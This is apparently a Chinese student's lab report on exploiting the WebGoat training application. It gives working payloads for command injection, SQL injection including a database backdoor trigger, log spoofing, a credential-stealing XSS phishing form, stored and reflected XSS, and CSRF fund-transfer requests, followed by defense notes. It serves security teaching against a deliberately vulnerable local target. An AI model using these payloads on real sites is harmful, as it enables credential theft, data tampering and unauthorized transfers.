一、实验原理
1.SQL注入攻击
SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2.XSS攻击
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
3.CSRF攻击
CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
二、实验过程
2.1 WebGoat安装
下载webgoat:网站https://github.com/WebGoat/WebGoat/releases/tag/7.0.1,下载webgoat-container-7.0.1-war-exec.jar。
将文件移入到相应文件夹,终端输入 java -jar webgoat-container-7.0.1-war-exec.jar 运行WebGoat。
出现Starting ProtocolHandler证明开启成功。
在浏览器中输入localhost:8080/WebGoat进入WebGoat登录界面,输入用户名guest密码guest。
没有出现课程,按照教程进行配置,然后重新运行WebGoat,浏览器重新登陆正常显示:
https://www.jianshu.com/p/9ec7838411c8
2.2 SQL注入攻击
2.2.1 命令注入
原理:在正常的参数提交过程中添加恶意代码以执行某条指令
目标:可以在目标主机上执行任何系统命令
操作:右键点击,选择 inspect Element 审查网页元素
在审查网页源码框中,可以单击复选框按钮快速找到对应的option
代码,找到选项 AccessControlMatrix.help ,在末尾注入 "& netstat -an & ipconfig",点击 view开始攻击,可以看到执行指令后的网络端口使用情况和IP地址,攻击成功。
2.2.2 数字型SQL注入
原理:在station字段中注入特征字符,组成新的SQL语句
目标:通过注入SQL字符串查看所有的天气数据
操作:右键地名,选择 inspect Element 审查网页元素,对源代码进行修改,在Value值中添加 or 1=1
2.2.3 日志欺骗
原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
目标:灰色区域代表在Web服务器中的日志中记录的内容,目的是使用户名为“admin”的用户在日志中显示“成功登录”
操作:利用入回车(%0D)和换行符(%0A),在 username 中填入20174311%0d%0aLogin Succeeded for username: tj
2.2.4 字符串型注入
原理:通过注入字符串绕过认证
目标:尝试插入一个SQL字符串,以显示所有信用卡号码。
操作:在用户名处输入tj‘ or 1=1--,点击Go!
2.2.5 数据库后门
输入用户ID101
得到该用户信息,没有验证语句容易进行SQL注入
输入用户ID两个语句101; update employee set salary=10000
输入用户ID101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘larry@stooges.com‘ WHERE userid = NEW.userid
2.3 XSS攻击
2.3.1 Phishing with XSS
原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁
目标: 创建一个form,要求填写用户名和密码。将数据提交到http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
操作:在搜索框输入如下代码 :
<head> <body> <div> <div style="float:left;height:100px;width:50%;"></div> <div style="float:left;height:100px;width:50%;"></div> </div> <div style="height:200px;clear:both;"></div> </div></div> </form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR> </body> </head>
页面增加一个表单
2.3.2 Stored XSS Attacks
原理:把恶意脚本存储到被攻击网站的数据库,其他人访问到数据库中的恶意脚本后浏览器就会执行脚本,从而攻击网站
目标:常见于论坛等留言、用户留言创建非法的消息内容,输入JavaScript脚本保存在数据库中,任何用户在打开网页的时候,脚本从数据库中取出来而运行,导致其他用户访问非预期的页面或内容
操作:在Title中任意输入,Message输入 <script>alert("I am tj20174311.");</script> ,点击Submit提交
2.3.3 Reflected XSS Attacks
原理:通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击
目标:攻击当前页面
操作:输入 <script>alert("I am tj20174311");</script> ,点击Purchase
2.4 CSRF攻击
2.4.1 Cross Site Request Forgery
目标:向一个新闻组发送一封包含图像的邮件,图像的URL指向一个恶意请求。
操作:网页提示Parameters中的src为279,menu为900,在title中输入20174311,Message中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=279&menu=900&transferFunds=5000" width="1" height="1" />,以图片形式将URL放入Message框中,用户点击图片就会触发CSRF事件,点击Submit提交
在Message List中生成以Title命名的链接,点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。
2.4.2 CSRF Prompt By-Pass
查看Parameters
中的scr=328
和menu=900
在消息栏中输入:
<iframe src="attack?Screen=328&menu=900&transferFunds=4311"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
三、实验总结
(一)基础问题回答
1.SQL注入攻击原理?如何防御?
原理:SQL注入是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
防御:SQL语句预编译和绑定变量,使用一些安全函数。
2.XSS攻击的原理?如何防御?
原理:HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
防御:基于特征的防御。XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同。
基于代码修改的防御。Web页面开发者在编写程序时往往会出现一些失误和漏洞,XSS攻击正是利用了失误和漏洞,因此一种比较理想的方法就是通过优化Web应用开发来减少漏洞,避免被攻击。
客户端分层防御策略。客户端跨站脚本攻击的分层防御策略是基于独立分配线程和分层防御策略的安全模型。它建立在客户端(浏览器),这是它与其他模型最大的区别,之所以客户端安全性如此重要,客户端在接受服务器信息,选择性的执行相关内容。这样就可以使防御XSS攻击变得容易。
3.CSRF攻击原理?如何防御?
原理:CSRF(Cross site request forgery),即跨站请求伪造,指利用网站对于用户网页浏览器的信任,挟持用户当前已登陆的Web应用程序,去执行并非用户本意的操作。
防御:
Token验证。这类用得最多,服务器发送给客户端一个令牌,客户端提交的表单中带着这个令牌,如果它不合法,那么服务器拒绝这个请求。从而避免绕过认证的情况。
隐藏令牌。把令牌隐藏在http的head头中。
Referer验证。这是指的是页面请求来源。意思是,只接受本站的请求,服务器才做响应;如果不是,就拦截。
(二)实验心得
本次实验碰到最大的问题就是配置jdk的时候,碰到了许多问题,很多通过百度也没有解决,已经忘了中间走了多少弯路了,在这磨了一天的功夫,最后换了一个版本的jdk才得以配置成功。
本次实验简单学习了SQL注入攻击、XSS攻击与CSRF攻击,了解了这些攻击的原理以及简单操作。同时对于我而言这也是网络对抗课程的最后一次实验了,五味杂陈,虽说这一个学期的实验碰到了很多很多的问题,但我还是记得老师课上讲的那句话,有问题才是生活,所以说发现问题并且解决问题的过程对于我而言也是一种锻炼。虽说不知道下次这么频繁的使用kali是什么时候了,但还是希望以后有机会能够进行深入学习。